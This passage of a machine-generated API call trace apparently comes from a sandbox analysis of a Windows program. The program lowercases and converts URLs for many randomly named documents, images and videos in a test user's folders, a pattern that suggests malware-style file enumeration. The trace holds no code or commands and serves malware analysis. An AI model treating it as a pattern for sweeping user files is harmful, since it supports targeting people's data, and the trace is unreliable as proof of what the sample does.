lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/m%20py5nq8/z5jyw4ck3pxgs8vo6pwx.xls") returned 70 [0069.060] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.060] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/1wkvceOJZvfWRnXVCrwl/cWNUtKIUih3Q13b4.png" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/cwnutkiuih3q13b4.png") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/cwnutkiuih3q13b4.png" [0069.060] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/cwnutkiuih3q13b4.png") returned 99 [0069.060] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.060] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/t6uzSfbVzgWKneqG/Y0M9Kmq-w9nRYD9_X/dOgV5_S.png" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/dogv5_s.png") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/dogv5_s.png" [0069.060] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/dogv5_s.png") returned 104 [0069.060] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.060] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/imQafZ%20rPVsig5hI.png" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/imqafz%20rpvsig5hi.png") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/imqafz%20rpvsig5hi.png" [0069.060] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/imqafz%20rpvsig5hi.png") returned 69 [0069.060] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.060] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/M%20Py5Nq8/ijdl3PP8E7asB.mkv" | out: _Str="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ijdl3pp8e7asb.mkv") returned="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ijdl3pp8e7asb.mkv" [0069.060] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ijdl3pp8e7asb.mkv") returned 63 [0069.060] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.060] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/p-Dos46ITrNAxv/l3CI-wr-j02jEFP8%20k75/Ln5SnuP4Dif.flv" | out: _Str="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/ln5snup4dif.flv") returned="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/ln5snup4dif.flv" [0069.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/ln5snup4dif.flv") returned 87 [0069.061] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.061] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/XI9mo3.ppt" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/xi9mo3.ppt") returned="file:///c:/users/aetadzjz/appdata/roaming/xi9mo3.ppt" [0069.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/xi9mo3.ppt") returned 53 [0069.061] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.061] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/KTPVXXq7GK6v-bTi3h2.csv" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/ktpvxxq7gk6v-bti3h2.csv") returned="file:///c:/users/aetadzjz/appdata/roaming/ktpvxxq7gk6v-bti3h2.csv" [0069.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/ktpvxxq7gk6v-bti3h2.csv") returned 66 [0069.061] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.061] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/gt_ueLv0.rtf" | out: _Str="file:///c:/users/aetadzjz/desktop/gt_uelv0.rtf") returned="file:///c:/users/aetadzjz/desktop/gt_uelv0.rtf" [0069.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/gt_uelv0.rtf") returned 47 [0069.061] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.061] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/U_x855jOMDYCkkuEDF4Y.jpg" | out: _Str="file:///c:/users/aetadzjz/desktop/u_x855jomdyckkuedf4y.jpg") returned="file:///c:/users/aetadzjz/desktop/u_x855jomdyckkuedf4y.jpg" [0069.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/u_x855jomdyckkuedf4y.jpg") returned 59 [0069.061] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.061] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/E57Dc0/2aG4lBO.pdf" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/2ag4lbo.pdf") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/2ag4lbo.pdf" [0069.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/2ag4lbo.pdf") returned 82 [0069.061] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.062] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/ZgiD.png" | out: _Str="file:///c:/users/aetadzjz/desktop/zgid.png") returned="file:///c:/users/aetadzjz/desktop/zgid.png" [0069.062] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/zgid.png") returned 43 [0069.062] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.062] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/tKhgM7YtxiJ4tyGO3.csv" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/tkhgm7ytxij4tygo3.csv") returned="file:///c:/users/aetadzjz/appdata/roaming/tkhgm7ytxij4tygo3.csv" [0069.062] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/tkhgm7ytxij4tygo3.csv") returned 64 [0069.062] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.062] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/t6uzSfbVzgWKneqG/9FO6AAcN.bmp" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/9fo6aacn.bmp") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/9fo6aacn.bmp" [0069.062] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/9fo6aacn.bmp") returned 87 [0069.062] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.062] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/CJL4gO0q/yV%20SMf4NsA554P3Vd9.jpg" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/yv%20smf4nsa554p3vd9.jpg") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/yv%20smf4nsa554p3vd9.jpg" [0069.062] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/yv%20smf4nsa554p3vd9.jpg") returned 91 [0069.062] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.062] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/CJL4gO0q/r4xQHuyTC.bmp" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/r4xqhuytc.bmp") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/r4xqhuytc.bmp" [0069.062] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/r4xqhuytc.bmp") returned 80 [0069.062] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.062] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/0dhb1lQ5Yot7UDpqiLV.rtf" | out: _Str="file:///c:/users/aetadzjz/desktop/0dhb1lq5yot7udpqilv.rtf") returned="file:///c:/users/aetadzjz/desktop/0dhb1lq5yot7udpqilv.rtf" [0069.062] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/0dhb1lq5yot7udpqilv.rtf") returned 58 [0069.062] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.063] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/LDY-i67whVYLZ/TGStE51dA.pdf" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/tgste51da.pdf") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/tgste51da.pdf" [0069.063] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/tgste51da.pdf") returned 91 [0069.063] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.063] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/p-Dos46ITrNAxv/l3CI-wr-j02jEFP8%20k75/x2Ubk6qMFay.mkv" | out: _Str="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/x2ubk6qmfay.mkv") returned="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/x2ubk6qmfay.mkv" [0069.063] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/x2ubk6qmfay.mkv") returned 87 [0069.063] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.063] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/TSxDZC%203HI/XmFFFEkl.gif" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/xmfffekl.gif") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/xmfffekl.gif" [0069.063] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/xmfffekl.gif") returned 83 [0069.063] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.063] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/VsIu.ppt" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/vsiu.ppt") returned="file:///c:/users/aetadzjz/appdata/roaming/vsiu.ppt" [0069.063] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/vsiu.ppt") returned 51 [0069.063] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.063] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/nEyS-vVYoVcjNl64w.pdf" | out: _Str="file:///c:/users/aetadzjz/documents/neys-vvyovcjnl64w.pdf") returned="file:///c:/users/aetadzjz/documents/neys-vvyovcjnl64w.pdf" [0069.063] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/neys-vvyovcjnl64w.pdf") returned 58 [0069.063] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.063] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/OE_9.docx" | out: _Str="file:///c:/users/aetadzjz/documents/oe_9.docx") returned="file:///c:/users/aetadzjz/documents/oe_9.docx" [0069.063] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/oe_9.docx") returned 46 [0069.063] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.063] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/SpfA9u6bx.xls" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/spfa9u6bx.xls") returned="file:///c:/users/aetadzjz/appdata/roaming/spfa9u6bx.xls" [0069.063] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/spfa9u6bx.xls") returned 56 [0069.063] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.063] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/Lrl%20OSdTaq.jpg" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/lrl%20osdtaq.jpg") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/lrl%20osdtaq.jpg" [0069.063] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/lrl%20osdtaq.jpg") returned 74 [0069.064] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.064] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/KhpA.jpg" | out: _Str="file:///c:/users/aetadzjz/desktop/khpa.jpg") returned="file:///c:/users/aetadzjz/desktop/khpa.jpg" [0069.064] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/khpa.jpg") returned 43 [0069.064] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.064] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/2SERkLWGvw2WR0dVkh.docx" | out: _Str="file:///c:/users/aetadzjz/documents/2serklwgvw2wr0dvkh.docx") returned="file:///c:/users/aetadzjz/documents/2serklwgvw2wr0dvkh.docx" [0069.064] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/2serklwgvw2wr0dvkh.docx") returned 60 [0069.064] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.064] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/p-Dos46ITrNAxv/l3CI-wr-j02jEFP8%20k75/bOuKlN.flv" | out: _Str="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/boukln.flv") returned="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/boukln.flv" [0069.064] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/boukln.flv") returned 82 [0069.064] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.064] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/t6uzSfbVzgWKneqG/Y0M9Kmq-w9nRYD9_X/ly3aGVy_y5cf6nMD50E1.jpg" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/ly3agvy_y5cf6nmd50e1.jpg") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/ly3agvy_y5cf6nmd50e1.jpg" [0069.064] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/ly3agvy_y5cf6nmd50e1.jpg") returned 117 [0069.064] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.064] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/u_Bk5.pps" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/u_bk5.pps") returned="file:///c:/users/aetadzjz/documents/_r0qj/u_bk5.pps" [0069.064] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/u_bk5.pps") returned 52 [0069.064] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.064] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/FtCC9f70gXzbB.gif" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/ftcc9f70gxzbb.gif") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/ftcc9f70gxzbb.gif" [0069.064] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/ftcc9f70gxzbb.gif") returned 75 [0069.064] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.064] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/1wkvceOJZvfWRnXVCrwl/yiW1h.png" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/yiw1h.png") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/yiw1h.png" [0069.064] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/yiw1h.png") returned 88 [0069.064] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.064] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/mG6b0R2NV.ots" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/mg6b0r2nv.ots") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/mg6b0r2nv.ots" [0069.064] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/mg6b0r2nv.ots") returned 77 [0069.065] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.065] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/s3ERd-a.bmp" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/s3erd-a.bmp") returned="file:///c:/users/aetadzjz/appdata/roaming/s3erd-a.bmp" [0069.065] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/s3erd-a.bmp") returned 54 [0069.065] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.065] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/C9uT6lYTwIA.xlsx" | out: _Str="file:///c:/users/aetadzjz/desktop/c9ut6lytwia.xlsx") returned="file:///c:/users/aetadzjz/desktop/c9ut6lytwia.xlsx" [0069.065] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/c9ut6lytwia.xlsx") returned 51 [0069.065] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.065] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/j6DZIy9vQbux5.ppt" | out: _Str="file:///c:/users/aetadzjz/desktop/j6dziy9vqbux5.ppt") returned="file:///c:/users/aetadzjz/desktop/j6dziy9vqbux5.ppt" [0069.065] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/j6dziy9vqbux5.ppt") returned 52 [0069.065] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.065] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/p-Dos46ITrNAxv/kD4KvQSsjiOJqR1.flv" | out: _Str="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/kd4kvqssjiojqr1.flv") returned="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/kd4kvqssjiojqr1.flv" [0069.065] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/kd4kvqssjiojqr1.flv") returned 68 [0069.065] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.065] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/w94FqoNg.rtf" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/w94fqong.rtf") returned="file:///c:/users/aetadzjz/appdata/roaming/w94fqong.rtf" [0069.065] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/w94fqong.rtf") returned 55 [0069.065] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.065] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/s_XSUWu8QQnZOg4V9zrx.mkv" | out: _Str="file:///c:/users/aetadzjz/desktop/s_xsuwu8qqnzog4v9zrx.mkv") returned="file:///c:/users/aetadzjz/desktop/s_xsuwu8qqnzog4v9zrx.mkv" [0069.065] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/s_xsuwu8qqnzog4v9zrx.mkv") returned 59 [0069.065] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.065] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/4C7rg/AlTyeUZ8kE/aARRlT_JtDPkKJt_SWo.xls" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/aarrlt_jtdpkkjt_swo.xls") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/aarrlt_jtdpkkjt_swo.xls" [0069.065] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, 